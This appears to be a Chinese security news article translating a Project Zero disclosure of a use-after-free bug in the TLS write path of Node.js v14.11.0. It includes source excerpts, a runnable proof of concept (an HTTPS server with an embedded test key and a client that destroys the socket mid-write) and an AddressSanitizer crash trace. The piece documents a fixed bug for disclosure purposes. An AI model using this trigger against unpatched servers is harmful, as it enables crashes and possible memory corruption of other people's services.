Node.js TLSWrap 实现中的释放后使用漏洞分析
聚焦源代码安全,网罗国内外最新资讯!
Node v14.11.0 版本的 TLS 实现中存在一个释放后使用漏洞。
当写入启用 TLS 的套接字时,node::StreamBase::Write 调用 node::TLSWrap:DoWrite,其第一个参数为新分配的 WriteWrap 对象。如果 DoWrite 方法未返回错误消息,则该对象作为 StreamWriteResult 结构的一部分被传回给调用者:
// stream_base-inl.hWriteWrap* req_wrap = CreateWriteWrap(req_wrap_obj);err = DoWrite(req_wrap, bufs, count, send_handle);bool async = err == 0;if (!async) {req_wrap->Dispose();req_wrap = nullptr;}const char* msg = Error();if (msg != nullptr) {req_wrap_obj->Set(env->context(),env->error_string(),OneByteString(env->isolate(), msg)).Check();ClearError();}return StreamWriteResult { async, err, req_wrap, total_bytes };
问题在于,TLSWrap::DoWrite 可触发WriteWrap 对象释放,而无需在 DoWrite 方法末尾的 EncOut() 调用失败时返回错误。EncOut() 调用 underlying_stream()->Write(),将 TLS 加密数据写入网络套接字。如果该写入失败,则调用 InvokeQueued() 且该函数立即返回:
// tls_wrap.cc// Write any encrypted/handshake output that may be ready.// Guard against sync call of current_write_->Done(), its unsupported.in_dowrite_ = true;EncOut();in_dowrite_ = false;return 0;// tls_wrap.ccvoid TLSWrap::EncOut() {[...]Debug(this, "Writing %zu buffers to the underlying stream", count);StreamWriteResult res = underlying_stream()->Write(bufs, count);if (res.err != 0) {InvokeQueued(res.err);return;}[..]
InvokeQueued() 通过如下调用链触发 req_wrap WriteWrap 对象的立即释放:
node::TLSWrap::InvokeQueued -> node::StreamReq::Done -> node::WriteWrap::OnDone
-> node::StreamReq::Dispose -> node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl()
-> node::BaseObject::decrease_refcount() -> node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap()
使 underlying_stream()->Write 失败和在写入以触发崩溃的 pipe 错误之前关闭连接另一端的套接字一样容易。
由于 node::TLSWrap::DoWrite 并未返回错误代码,node::StreamBase::Write 将会返回被释放的 WriteWrap 对象,作为 StreamWriteResult 的一部分。当被释放的对象调用 SetAllocatedStorage() 方法时,node::StreamBase::WriteV 的调用会立即触发释放后使用问题:
// stream_base.ccStreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj);SetWriteResult(res);if (res.wrap != nullptr && storage_size > 0) {res.wrap->SetAllocatedStorage(std::move(storage));}
该 bug 可被轻松在简单的节点 HTTPS 服务应用上触发。在正常情况下且未启用 ASAN 的 build 上,该释放后使用漏洞无法在 Linux 上触发崩溃,因为被释放的内存无法及时被重新分配,而 SetAllocatedStorage 中的写操作会损害不用于小型块 (chunk) 的块元数据。
作者表示这应该是该 bug 之前未被检测到的唯一原因,因为被破坏的 pipe 出错路径应该在真实世界中经常被攻击。然而,如果有正确的堆布局(在释放过程中,WriteWrap 块和更大的块融合)、不同的堆实现以及/或一些其它允许在复用前分配的控制流,则该漏洞仍然可遭利用。
PoC
server.js:
const https = require('https');const key = `-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDKfHHbiJMdu2STyHL11fWC7psMY19/gUNpsUpkwgGACoAoGCCqGSM49
AwEHoUQDQgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81
PWBiTdSZrGBGQSy+UAlQvYeE6Z/QXQk8aw==
-----END EC PRIVATE KEY-----`const cert = `-----BEGIN CERTIFICATE-----
MIIBhjCCASsCFDJU1tCo88NYU//pE+DQKO9hUDsFMAoGCCqGSM49BAMCMEUxCzAJ
BgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5l
dCBXaWRnaXRzIFB0eSBMdGQwHhcNMjAwOTIyMDg1NDU5WhcNNDgwMjA3MDg1NDU5
WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwY
SW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcD
QgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81PWBiTdSZ
rGBGQSy+UAlQvYeE6Z/QXQk8azAKBggqhkjOPQQDAgNJADBGAiEA7Bdn4F87KqIe
Y/ABy/XIXXpFUb2nyv3zV7POQi2lPcECIQC3UWLmfiedpiIKsf9YRIyO0uEood7+
glj2R1NNr1X68w==
-----END CERTIFICATE-----`const options = {key: key,cert: cert,
};https.createServer(options, function (req, res) {res.writeHead(200);res.end("hello world\n");
}).listen(4444);---poc.js:const tls = require('tls')var socket = tls.connect(4444, 'localhost', {rejectUnauthorized : false}, () => {console.log("connected")socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
})socket.on('data', () => {socket.destroy()
})
当 server.js 在启用 ASAN 的 node.js build 上运行时,该 POC 可触发崩溃。
==1408671==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000011138 at pc 0x0000011929b6 bp 0x7ffc8c2243f0 sp 0x7ffc8c2243e8
READ of size 8 at 0x608000011138 thread T0#0 0x11929b5 in std::__uniq_ptr_impl<v8::BackingStore, std::default_delete<v8::BackingStore> >::_M_ptr() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:154:42#1 0x1192974 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::get() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:361:21#2 0x1193fb4 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::operator bool() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:375:16#3 0x1190415 in node::AllocatedBuffer::data() /pwd/out/../src/allocated_buffer-inl.h:79:8#4 0x16f8a79 in node::WriteWrap::SetAllocatedStorage(node::AllocatedBuffer&&) /pwd/out/../src/stream_base-inl.h:247:3#5 0x16f1141 in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:172:15#6 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29#7 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3#8 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36#9 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5#10 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1#11 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)0x608000011138 is located 24 bytes inside of 88-byte region [0x608000011120,0x608000011178)
freed by thread T0 here:#0 0xe79b1d in operator delete(void*) (/p0/node/node-v14.11.0/out/Debug/node+0xe79b1d)#1 0x1707177 in node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap() /pwd/out/../src/stream_base.h:418:7#2 0xf943be in node::BaseObject::decrease_refcount() /pwd/out/../src/base_object-inl.h:203:7#3 0x10886e6 in node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl() /pwd/out/../src/base_object-inl.h:248:12#4 0x13c2a3c in node::StreamReq::Dispose() /pwd/out/../src/stream_base-inl.h:40:1#5 0x16f794c in node::WriteWrap::OnDone(int) /pwd/out/../src/stream_base.cc:591:3#6 0x10e71f8 in node::StreamReq::Done(int, char const*) /pwd/out/../src/stream_base-inl.h:261:3#7 0x1921f95 in node::TLSWrap::InvokeQueued(int, char const*) /pwd/out/../src/tls_wrap.cc:101:8#8 0x1927f39 in node::TLSWrap::EncOut() /pwd/out/../src/tls_wrap.cc:356:5#9 0x192e258 in node::TLSWrap::DoWrite(node::WriteWrap*, uv_buf_t*, unsigned long, uv_stream_s*) /pwd/out/../src/tls_wrap.cc:820:3#10 0x13b50dd in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:193:9#11 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27#12 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29#13 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3#14 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36#15 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5#16 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1#17 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)previously allocated by thread T0 here:#0 0xe792bd in operator new(unsigned long) (/p0/node/node-v14.11.0/out/Debug/node+0xe792bd)#1 0x16f81c2 in node::StreamBase::CreateWriteWrap(v8::Local<v8::Object>) /pwd/out/../src/stream_base.cc:629:10#2 0x13b4fb0 in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:191:25#3 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27#4 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29#5 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3#6 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36#7 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5#8 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1#9 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)#10 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)#11 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)
目前该漏洞已修复。
推荐阅读
【缺陷周话】第 11期 :释放后使用
看我如何利用教科书级别的释放后使用漏洞(CVE-2020-6449)
原文链接
https://bugs.chromium.org/p/project-zero/issues/detail?id=2095
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 或 "赞” 吧~
Node.js TLSWrap 实现中的释放后使用漏洞分析相关推荐
- CVE-2012-4792Microsoft Internet Explorer 释放后使用漏洞
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器.Microsoft Internet Explorer 6至8版本中存在释放后使用漏洞.通过 ...
- Node.js:项目中的 package.json 格式
1. node.js 项目包下的 package.json : 实例: {"name" : "chatroooms","version" : ...
- node.js api接口_如何在Node.js API客户端中正常处理故障
node.js api接口 by Roger Jin 罗杰·金(Roger Jin) 如何在Node.js API客户端中正常处理故障 (How to gracefully handle failur ...
- rethinkdb_如何在Node.js应用程序中使用RethinkDB
rethinkdb 这篇文章是由同行评审Agbonghama柯林斯和马丁·马丁内斯 . 感谢所有SitePoint的同行评审员使SitePoint内容达到最佳状态! Web应用程序最常见的任务之一就是 ...
- node.js ejs_如何在Node.js应用程序中使用EJS模板
node.js ejs by Jennifer Bland 詹妮弗·布兰德(Jennifer Bland) 如何在Node.js应用程序中使用EJS模板 (How to use EJS Templat ...
- package.json在Node JS应用程序中的重要性
Before starting Node JS applications development, we should learn some basics and importance of pack ...
- 看我如何利用教科书级别的释放后使用漏洞(CVE-2020-6449)
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 GitHub 研究员 Man Yue Mo详述了自己在2020年3月份上报的一个严重的释放后使用漏洞(CVE-2020-6449).如 ...
- 如何使用 Javascript/node.js 在 WebRTC 中构建音视频通话APP?
语音和视频通信的嵌入对于现在的互联网产品发展的重要性已经毋庸置疑,WebRTC 事实上是一种通用的技术框架标准,它可以在浏览器之间不需要中介的情况下,实现任意数据流交换.这使得 web 应用程序和移动 ...
- 如何在Node.js应用程序中使用RethinkDB
这篇文章是由同行评审Agbonghama柯林斯和马丁·马丁内斯 . 感谢所有SitePoint的同行评审人员使SitePoint内容达到最佳状态! Web应用程序最常见的任务之一就是保存数据. 没有存 ...
最新文章
- java使用链栈实现迷宫求解
- html页面关闭前提示信息,【转】表单提交及关闭当前页面并刷新数据
- VMware vSphere 5.1 群集深入解析(二十一)- 存储I/O控制(SIOC)
- SFB 项目经验-14-为某客户用Exchange 2016 UM作为总机的问题
- 转:防止跨站攻击,安全过滤
- webapi输出炜json_webapi转化为json格式
- 无法访问hadoop yarn8088端口的解决方法
- SQLServer2008客户端软件
- CANoe——CAPL
- bootstrap 半透明背景_【小技巧】微信 QQ 半透明主题壁纸设置方法
- mysql5.7越用c盘越小_Windows7的C盘可用空间为什么越用越小呢?
- java中13%(-3)_Java13版本特性【一文了解】
- CentOS通过Samba访问NAS共享目录
- 微信公众平台开发之签到积分查询功能
- 2017前端精品面试文章总结
- 怎样判断一个P2P平台是否靠谱?
- 爬虫工程师想拿更高薪,这点不要忽略
- 一个完整的交互设计步骤有哪些
- 最全的浏览器User-Agent
- Markdown-LaTeX